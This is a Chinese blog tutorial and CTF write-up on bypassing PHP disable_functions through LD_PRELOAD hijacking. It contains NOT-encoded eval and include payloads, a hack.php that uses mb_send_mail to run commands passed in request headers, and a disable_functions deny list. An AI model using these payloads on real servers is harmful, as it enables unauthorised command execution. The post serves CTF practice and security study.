【PHP绕过】LD_PRELOAD bypass disable_functions

不能执行系统命令的webshell是没有灵魂的.

LD_PRELOAD

众所周知,代码在编译成程序的时候有一个过程叫做链接-->将所引用的函数与变量链接到可执行程序中.编译过程中将所有的函数库链接完毕叫做静态链接,而动态链接则是编译过程中不进行链接操作,在程序运行时再动态的载入函数库.不管是静态链接还是动态链接,目的都很明确,载入函数库.

LD_PRELOAD是与载入函数库相关的环境变量,它的作用便是在程序运行前优先加载指定的函数库.

想必聪明的你已经想到,这便是其可利用的地方.

我认为看实例总是好过文字的.

本地劫持

以id例.

 先看看id命令执行过程中可能会调用的函数表(系统API).

╰─ readelf -Ws /usr/bin/id                                                                           
Symbol table '.dynsym' contains 72 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND endgrent@GLIBC_2.2.5 (2)
     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getenv@GLIBC_2.2.5 (2)
     3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND free@GLIBC_2.2.5 (2)
     4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND is_selinux_enabled
     5: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND abort@GLIBC_2.2.5 (2)
     6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __errno_location@GLIBC_2.2.5 (2)
     7: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strncmp@GLIBC_2.2.5 (2)
     8: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_deregisterTMCloneTable
     9: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND _exit@GLIBC_2.2.5 (2)
    10: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __fpending@GLIBC_2.2.5 (2)
    11: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND textdomain@GLIBC_2.2.5 (2)
    12: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fclose@GLIBC_2.2.5 (2)
    13: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getpwuid@GLIBC_2.2.5 (2)
    14: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND bindtextdomain@GLIBC_2.2.5 (2)
    15: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND dcgettext@GLIBC_2.2.5 (2)
    16: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __ctype_get_mb_cur_max@GLIBC_2.2.5 (2)
    17: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strlen@GLIBC_2.2.5 (2)
    18: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@GLIBC_2.4 (3)
    19: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getuid@GLIBC_2.2.5 (2)
    20: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getopt_long@GLIBC_2.2.5 (2)
    21: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND mbrtowc@GLIBC_2.2.5 (2)
    22: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strchr@GLIBC_2.2.5 (2)
    23: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getgrgid@GLIBC_2.2.5 (2)
    24: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __overflow@GLIBC_2.2.5 (2)
    25: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strrchr@GLIBC_2.2.5 (2)
    26: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND lseek@GLIBC_2.2.5 (2)
    27: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __assert_fail@GLIBC_2.2.5 (2)
    28: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND memset@GLIBC_2.2.5 (2)
    29: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND geteuid@GLIBC_2.2.5 (2)
    30: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getcon
    31: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.2.5 (2)
    32: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND memcmp@GLIBC_2.2.5 (2)
    33: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fputs_unlocked@GLIBC_2.2.5 (2)
    34: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND calloc@GLIBC_2.2.5 (2)
    35: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getpwnam@GLIBC_2.2.5 (2)
    36: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
    37: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND memcpy@GLIBC_2.14 (4)
    38: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getgrnam@GLIBC_2.2.5 (2)
    39: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fileno@GLIBC_2.2.5 (2)
    40: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getgid@GLIBC_2.2.5 (2)
    41: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getgroups@GLIBC_2.2.5 (2)
    42: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND malloc@GLIBC_2.2.5 (2)
    43: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fflush@GLIBC_2.2.5 (2)
    44: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND nl_langinfo@GLIBC_2.2.5 (2)
    45: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND endpwent@GLIBC_2.2.5 (2)
    46: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getegid@GLIBC_2.2.5 (2)
    47: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __freading@GLIBC_2.2.5 (2)
    48: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND realloc@GLIBC_2.2.5 (2)
    49: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND setlocale@GLIBC_2.2.5 (2)
    50: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __printf_chk@GLIBC_2.3.4 (5)
    51: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND error@GLIBC_2.2.5 (2)
    52: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getgrouplist@GLIBC_2.2.5 (2)
    53: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fseeko@GLIBC_2.2.5 (2)
    54: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND sysconf@GLIBC_2.2.5 (2)
    55: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strtoul@GLIBC_2.2.5 (2)
    56: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __cxa_atexit@GLIBC_2.2.5 (2)
    57: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND exit@GLIBC_2.2.5 (2)
    58: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fwrite@GLIBC_2.2.5 (2)
    59: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __fprintf_chk@GLIBC_2.3.4 (5)
    60: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMCloneTable
    61: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND mbsinit@GLIBC_2.2.5 (2)
    62: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND iswprint@GLIBC_2.2.5 (2)
    63: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __ctype_b_loc@GLIBC_2.3 (6)
    64: 000000000000b2a8     8 OBJECT  GLOBAL DEFAULT   26 stdout@GLIBC_2.2.5 (2)
    65: 0000000000000000     0 FUNC    WEAK   DEFAULT  UND __cxa_finalize@GLIBC_2.2.5 (2)
    66: 000000000000b2a0     8 OBJECT  GLOBAL DEFAULT   26 __progname@GLIBC_2.2.5 (2)
    67: 000000000000b2b8     8 OBJECT  WEAK   DEFAULT   26 program_invocation_name@GLIBC_2.2.5 (2)
    68: 000000000000b2b8     8 OBJECT  GLOBAL DEFAULT   26 __progname_full@GLIBC_2.2.5 (2)
    69: 000000000000b2a0     8 OBJECT  WEAK   DEFAULT   26 program_invocation_short_name@GLIBC_2.2.5 (2)
    70: 000000000000b2c0     8 OBJECT  GLOBAL DEFAULT   26 stderr@GLIBC_2.2.5 (2)
    71: 000000000000b2b0     4 OBJECT  GLOBAL DEFAULT   26 optind@GLIBC_2.2.5 (2)

使用strace跟踪id的实际调用情况

 很多,不全列了.

 下面,我们以劫持getgid为例.

先查看getgid函数原型  man getgid.

构造一个与之原型相同的函数并将之编译为共享库文件.如下

下面,载入这个库并运行id命令.

成功.在一定情况下可以利用LD_PRELOAD提权,我后面会提到.

绕过disable_functions

上面我们是直接劫持的getgid函数,下面我们用一个gcc扩展修饰符 __attribute__((constructor)) 写一个函数,可以达到在加载库的同时便执行函数,不再需要像上面一样去找函数.如下

对rob.c稍作修改,用于php.如下

 php利用文件如下

成功执行命令.

下面再将rob.c稍作修改,使得我们可以手动传入参数,如下.

 简单说明一下,这个传参是通过再设定一个环境变量MY_CMD来传递的.

下面是php 利用文件.

下面拿一道CTF题作为例子.

第十届 极客大挑战 RCE

源码

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

别的不多说,我们直奔重点.payload如下

?code=(~%9E%8C%8C%9A%8D%8B)((~%91%9A%87%8B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)()));

众所周知,^是亦或运算符,~是取反运算符(按二进制位)

字母数字都被过滤,我们想正常执行命令是不大可能的,要绕路.这里便是将要执行的命令先进行url编码再取反,在用的时候再在前面挂一个取反,便可以得到原本的命令.

由此可以绕过,上面的payload翻译一下便是  (assert)((next)((getallheaders)())));

在UA头中执行命令便没有了长度限制.

读取不了flag,需要运行readflag去读取.

disable_functions如下

disable_functions:
pcntl_alarm,pcntl_fork,pcntl_waitpid,
pcntl_wait,pcntl_wifexited,pcntl_wifstopped,
pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,
pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,
pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,
pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,
pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,
pcntl_setpriority,pcntl_async_signals,
system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl

 要用LD_PRELOAD突破限制必须要把我们的共享库文件传到服务器上.

先写一个正常的shell到服务器/tmp(选/tmp是因为一般这个目录普通用户可写,在linux中其是用来暂存文件的.)目录下.

 然后文件包含shell,使用蚁剑连接.

 payload:

?code=(~%9E%8C%8C%9A%8D%8B)((~%96%91%9C%93%8A%9B%9A%DF%D8%D0%8B%92%8F%D0%CB%8A%8B%CE%CA%92%D1%8F%97%8F%D8));

将上面我们写的hack.php(不只是可以用mail函数,还可以用error_log,mb_send_mail,imap_mail)做点改动,如下

使用蚁剑将rob.so和hack,php上传到/tmp目录下.

文件包含hack.php 便可执行系统命令.

 

成功绕过disable_functions

对了,忘了说,(函数名)()  这是php7函数特性.

正常解析是  phpinfo() 

在php7中 (phpinfo)()也可.

<?php
/**
 *filename:en.php
 */

$a = $argv[1];
echo urlencode(~$a);
echo "\n";

?>
<?php
/**
 *filename:hack.php
 */
$a = next(getallheaders());
$cmd = "$a > /tmp/hackfile";

@putenv("MY_CMD=" . $cmd);

putenv("LD_PRELOAD=/tmp/rob.so");
mb_send_mail("","","","");
echo file_get_contents("/tmp/hackfile");

?>

 

提权

背痛,下次写.

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值